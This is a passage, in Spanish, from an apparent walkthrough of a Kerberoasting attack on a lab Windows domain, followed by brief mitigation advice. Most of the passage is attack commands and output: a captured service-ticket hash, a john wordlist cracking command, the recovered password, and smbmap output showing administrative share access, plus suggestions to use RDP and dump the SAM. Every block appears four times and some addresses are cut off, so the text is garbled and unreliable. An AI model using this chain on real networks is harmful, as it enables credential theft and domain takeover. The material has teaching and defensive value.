echo '$krb5tgs$23$*svctest$SKY.NET$sky.net/svctest*$0fb0da3f22933a2893a6dac63e87538d$d11bb41bc5f41eeb4890ae74c42bff3ac203c649ef9740e70edb67113723df962b20c1346d82c7e410932944c881d3cb06a7cec0c21278ac1eeb2184867640f39b1ae725c02429ec9068fc6688102d576e4efb9c435f4207882601bff28414ababa2423cc4ea82d64082d8fe4eee797568dd514b4081a5338c08dd279fef2a3ade69efc2fe5502fd0a8e8cd8187761ff4c05322c00484e001832a28242d0c821ce44230eac54e2e4e36c365303ea729505ac9d35d7cc08077d07ea36c72e7ab12a04af392eeddcff37fd2e8a066e779ae26e0658ffa25f35a5c64f456a794676819dda35fe56514c1293f561750532d36a395069c8e98581f2b5d216254d7bed07e95dea36a4817ead880fe405711dae771e1660cadf3902fda1e0b730386aa02bc13bc8051ede7ee5388a919a4c20652ef241c47d66e21d026f5233bbd81dee6f01ad3887c32a9f4f0ab312939edcafa386eba04c32a0826f59b4009bd7fee5f6d78bcdeec80095fb1d0f189a87c26310b562bc4d94ffd19201a0bfa06a208d837a52bade076c2b34b8807f74bf51927b774e9f5047289d0d529beb58712d8eee673db3c77d28882a51bbfcf8dba96677af3b43a109c36b335b70dd0e316cce18877b7704e1ed837875cde1e7a462e35c9fe972318eb6d6d37ea222f00d5e81df343edfc1f50bd8907876c4dc1e77f01d9f5df3cb9e94f231a7a0eeb93aa62c22814742b06596eeb72824b4b0449cf6555fa020345bc21a84595437d50abb7cbe4287f580e47ed302faa9de47b68e9c3cab79ad2b1da17548f39aa8ace12372cb0d9952caee715535654f1f918ad5be3432b954bd7bae753152d919bcb93771fc9daf371ce724b18979f5180955d9ba6573d98f1042df80e5e7532fa96629e1b69f9e556df142fd8b0858243144c9f48a19d1933f280f8366c749fe6fb2b7b6c5f7781994f4d3f32552085ebc35ee4fa122a33978c32e877c0b48bc0cb19840bb7d349bbefb39ef1d062fc901b461a480e92e6121b3060f17c34fe92abad77ffebf687115da10b07081d35ef4a622916b656dd84c92643d477128d0a74a24ab23f69f61c94a7b0483313a31476cedc44a5c9efc55b18c57ebea38984f00e50d5773e25f7c6b3bcbc5ef73bf255ede5397ae334a72409440f8475b1f8b22730a456f81e6b08402c7c795aad026c01ca31b4fd8aac5bade44552787aec9c6b2407d2da24059014efdd88ee1953183f62b2e5e06ed7841438a7d4bd3635672b2'
echo '$krb5tgs$23$*svctest$SKY.NET$sky.net/svctest*$0fb0da3f22933a2893a6dac63e87538d$d11bb41bc5f41eeb4890ae74c42bff3ac203c649ef9740e70edb67113723df962b20c1346d82c7e410932944c881d3cb06a7cec0c21278ac1eeb2184867640f39b1ae725c02429ec9068fc6688102d576e4efb9c435f4207882601bff28414ababa2423cc4ea82d64082d8fe4eee797568dd514b4081a5338c08dd279fef2a3ade69efc2fe5502fd0a8e8cd8187761ff4c05322c00484e001832a28242d0c821ce44230eac54e2e4e36c365303ea729505ac9d35d7cc08077d07ea36c72e7ab12a04af392eeddcff37fd2e8a066e779ae26e0658ffa25f35a5c64f456a794676819dda35fe56514c1293f561750532d36a395069c8e98581f2b5d216254d7bed07e95dea36a4817ead880fe405711dae771e1660cadf3902fda1e0b730386aa02bc13bc8051ede7ee5388a919a4c20652ef241c47d66e21d026f5233bbd81dee6f01ad3887c32a9f4f0ab312939edcafa386eba04c32a0826f59b4009bd7fee5f6d78bcdeec80095fb1d0f189a87c26310b562bc4d94ffd19201a0bfa06a208d837a52bade076c2b34b8807f74bf51927b774e9f5047289d0d529beb58712d8eee673db3c77d28882a51bbfcf8dba96677af3b43a109c36b335b70dd0e316cce18877b7704e1ed837875cde1e7a462e35c9fe972318eb6d6d37ea222f00d5e81df343edfc1f50bd8907876c4dc1e77f01d9f5df3cb9e94f231a7a0eeb93aa62c22814742b06596eeb72824b4b0449cf6555fa020345bc21a84595437d50abb7cbe4287f580e47ed302faa9de47b68e9c3cab79ad2b1da17548f39aa8ace12372cb0d9952caee715535654f1f918ad5be3432b954bd7bae753152d919bcb93771fc9daf371ce724b18979f5180955d9ba6573d98f1042df80e5e7532fa96629e1b69f9e556df142fd8b0858243144c9f48a19d1933f280f8366c749fe6fb2b7b6c5f7781994f4d3f32552085ebc35ee4fa122a33978c32e877c0b48bc0cb19840bb7d349bbefb39ef1d062fc901b461a480e92e6121b3060f17c34fe92abad77ffebf687115da10b07081d35ef4a622916b656dd84c92643d477128d0a74a24ab23f69f61c94a7b0483313a31476cedc44a5c9efc55b18c57ebea38984f00e50d5773e25f7c6b3bcbc5ef73bf255ede5397ae334a72409440f8475b1f8b22730a456f81e6b08402c7c795aad026c01ca31b4fd8aac5bade44552787aec9c6b2407d2da24059014efdd88ee1953183f62b2e5e06ed7841438a7d4bd3635672b2'
echo '$krb5tgs$23$*svctest$SKY.NET$sky.net/svctest*$0fb0da3f22933a2893a6dac63e87538d$d11bb41bc5f41eeb4890ae74c42bff3ac203c649ef9740e70edb67113723df962b20c1346d82c7e410932944c881d3cb06a7cec0c21278ac1eeb2184867640f39b1ae725c02429ec9068fc6688102d576e4efb9c435f4207882601bff28414ababa2423cc4ea82d64082d8fe4eee797568dd514b4081a5338c08dd279fef2a3ade69efc2fe5502fd0a8e8cd8187761ff4c05322c00484e001832a28242d0c821ce44230eac54e2e4e36c365303ea729505ac9d35d7cc08077d07ea36c72e7ab12a04af392eeddcff37fd2e8a066e779ae26e0658ffa25f35a5c64f456a794676819dda35fe56514c1293f561750532d36a395069c8e98581f2b5d216254d7bed07e95dea36a4817ead880fe405711dae771e1660cadf3902fda1e0b730386aa02bc13bc8051ede7ee5388a919a4c20652ef241c47d66e21d026f5233bbd81dee6f01ad3887c32a9f4f0ab312939edcafa386eba04c32a0826f59b4009bd7fee5f6d78bcdeec80095fb1d0f189a87c26310b562bc4d94ffd19201a0bfa06a208d837a52bade076c2b34b8807f74bf51927b774e9f5047289d0d529beb58712d8eee673db3c77d28882a51bbfcf8dba96677af3b43a109c36b335b70dd0e316cce18877b7704e1ed837875cde1e7a462e35c9fe972318eb6d6d37ea222f00d5e81df343edfc1f50bd8907876c4dc1e77f01d9f5df3cb9e94f231a7a0eeb93aa62c22814742b06596eeb72824b4b0449cf6555fa020345bc21a84595437d50abb7cbe4287f580e47ed302faa9de47b68e9c3cab79ad2b1da17548f39aa8ace12372cb0d9952caee715535654f1f918ad5be3432b954bd7bae753152d919bcb93771fc9daf371ce724b18979f5180955d9ba6573d98f1042df80e5e7532fa96629e1b69f9e556df142fd8b0858243144c9f48a19d1933f280f8366c749fe6fb2b7b6c5f7781994f4d3f32552085ebc35ee4fa122a33978c32e877c0b48bc0cb19840bb7d349bbefb39ef1d062fc901b461a480e92e6121b3060f17c34fe92abad77ffebf687115da10b07081d35ef4a622916b656dd84c92643d477128d0a74a24ab23f69f61c94a7b0483313a31476cedc44a5c9efc55b18c57ebea38984f00e50d5773e25f7c6b3bcbc5ef73bf255ede5397ae334a72409440f8475b1f8b22730a456f81e6b08402c7c795aad026c01ca31b4fd8aac5bade44552787aec9c6b2407d2da24059014efdd88ee1953183f62b2e5e06ed7841438a7d4bd3635672b2'
echo '$krb5tgs$23$*svctest$SKY.NET$sky.net/svctest*$0fb0da3f22933a2893a6dac63e87538d$d11bb41bc5f41eeb4890ae74c42bff3ac203c649ef9740e70edb67113723df962b20c1346d82c7e410932944c881d3cb06a7cec0c21278ac1eeb2184867640f39b1ae725c02429ec9068fc6688102d576e4efb9c435f4207882601bff28414ababa2423cc4ea82d64082d8fe4eee797568dd514b4081a5338c08dd279fef2a3ade69efc2fe5502fd0a8e8cd8187761ff4c05322c00484e001832a28242d0c821ce44230eac54e2e4e36c365303ea729505ac9d35d7cc08077d07ea36c72e7ab12a04af392eeddcff37fd2e8a066e779ae26e0658ffa25f35a5c64f456a794676819dda35fe56514c1293f561750532d36a395069c8e98581f2b5d216254d7bed07e95dea36a4817ead880fe405711dae771e1660cadf3902fda1e0b730386aa02bc13bc8051ede7ee5388a919a4c20652ef241c47d66e21d026f5233bbd81dee6f01ad3887c32a9f4f0ab312939edcafa386eba04c32a0826f59b4009bd7fee5f6d78bcdeec80095fb1d0f189a87c26310b562bc4d94ffd19201a0bfa06a208d837a52bade076c2b34b8807f74bf51927b774e9f5047289d0d529beb58712d8eee673db3c77d28882a51bbfcf8dba96677af3b43a109c36b335b70dd0e316cce18877b7704e1ed837875cde1e7a462e35c9fe972318eb6d6d37ea222f00d5e81df343edfc1f50bd8907876c4dc1e77f01d9f5df3cb9e94f231a7a0eeb93aa62c22814742b06596eeb72824b4b0449cf6555fa020345bc21a84595437d50abb7cbe4287f580e47ed302faa9de47b68e9c3cab79ad2b1da17548f39aa8ace12372cb0d9952caee715535654f1f918ad5be3432b954bd7bae753152d919bcb93771fc9daf371ce724b18979f5180955d9ba6573d98f1042df80e5e7532fa96629e1b69f9e556df142fd8b0858243144c9f48a19d1933f280f8366c749fe6fb2b7b6c5f7781994f4d3f32552085ebc35ee4fa122a33978c32e877c0b48bc0cb19840bb7d349bbefb39ef1d062fc901b461a480e92e6121b3060f17c34fe92abad77ffebf687115da10b07081d35ef4a622916b656dd84c92643d477128d0a74a24ab23f69f61c94a7b0483313a31476cedc44a5c9efc55b18c57ebea38984f00e50d5773e25f7c6b3bcbc5ef73bf255ede5397ae334a72409440f8475b1f8b22730a456f81e6b08402c7c795aad026c01ca31b4fd8aac5bade44552787aec9c6b2407d2da24059014efdd88ee1953183f62b2e5e06ed7841438a7d4bd3635672b2'
Luego lo desciframos usando john, un diccionario de SecLists y el conjunto de reglas de KoreLogic.
John cracking
john --wordlist=/usr/share/seclists/Passwords/darkweb2017-top100.txt --rules
john --wordlist=/usr/share/seclists/Passwords/darkweb2017-top100.txt --rules
john --wordlist=/usr/share/seclists/Passwords/darkweb2017-top100.txt --rules
john --wordlist=/usr/share/seclists/Passwords/darkweb2017-top100.txt --rules
Resultado de john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Monkey.123 (?)
1g 0:00:01:09 DONE (2019-08-06 17:15) 0.01446g/s 150941p/s 150941c/s 150941C/s Michae.l118..Asdfgh.jkl24
Use the "--show"
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Monkey.123 (?)
1g 0:00:01:09 DONE (2019-08-06 17:15) 0.01446g/s 150941p/s 150941c/s 150941C/s Michae.l118..Asdfgh.jkl24
Use the "--show"
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Monkey.123 (?)
1g 0:00:01:09 DONE (2019-08-06 17:15) 0.01446g/s 150941p/s 150941c/s 150941C/s Michae.l118..Asdfgh.jkl24
Use the "--show"
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Monkey.123 (?)
1g 0:00:01:09 DONE (2019-08-06 17:15) 0.01446g/s 150941p/s 150941c/s 150941C/s Michae.l118..Asdfgh.jkl24
Use the "--show"
¡Y está descifrado! Ahora podemos verificar nuestro acceso ejecutando smbmap de nuevo con nuestro nuevo conjunto de credenciales.
Samba con privilegios altos
smbmap -u svctest -p 'Monkey.123' -d sky.net -H 192
smbmap -u svctest -p 'Monkey.123' -d sky.net -H 192
smbmap -u svctest -p 'Monkey.123' -d sky.net -H 192
smbmap -u svctest -p 'Monkey.123' -d sky.net -H 192
admin smbmap.
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.56.2...
[+] IP: 192.168.56.2:445 Name: 192.168.56.2
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ READ ONLY
NETLOGON READ, WRITE
SYSVOL READ, WRITE
[!] Unable to remove test directory at \\192
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.56.2...
[+] IP: 192.168.56.2:445 Name: 192.168.56.2
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ READ ONLY
NETLOGON READ, WRITE
SYSVOL READ, WRITE
[!] Unable to remove test directory at \\192
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.56.2...
[+] IP: 192.168.56.2:445 Name: 192.168.56.2
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ READ ONLY
NETLOGON READ, WRITE
SYSVOL READ, WRITE
[!] Unable to remove test directory at \\192
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.56.2...
[+] IP: 192.168.56.2:445 Name: 192.168.56.2
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ READ ONLY
NETLOGON READ, WRITE
SYSVOL READ, WRITE
[!] Unable to remove test directory at \\192
Como puedes ver, ahora tenemos acceso administrativo a nuestro servidor. Puedes acceder por RDP o extraer archivos usando SMB. Además, puedes volcar el SAM para obtener más usuarios y hashes; estos últimos son NTLMv1 y se descifran fácilmente.
Aquí está el proceso de explotación.
Solution
No hay una solución sencilla, ya que este ataque explota el mismo protocolo legítimo que usa Kerberos. Cualquier usuario del dominio puede explotar esta vulnerabilidad, y solo es cuestión de tiempo antes de que descifren las credenciales.
La forma de mitigar esto es contar con una política de credenciales estricta y aplicarla. Las contraseñas deben tener más de 20 caracteres, incluir mayúsculas y minúsculas, símbolos y dígitos, y no deben ser fáciles de adivinar. Por eso, es recomendable adoptar frases de contraseña (passphrases) en lugar de contraseñas simples.
Esto es especialmente útil cuando se trata de credenciales de servicio, ya que son las más atacadas. También puedes configurar una alerta que te notifique cuando alguien inicie sesión con tus usuarios más críticos y de mayor privilegio.
Si quieres más información sobre credenciales seguras, puedes consultar nuestra base de datos.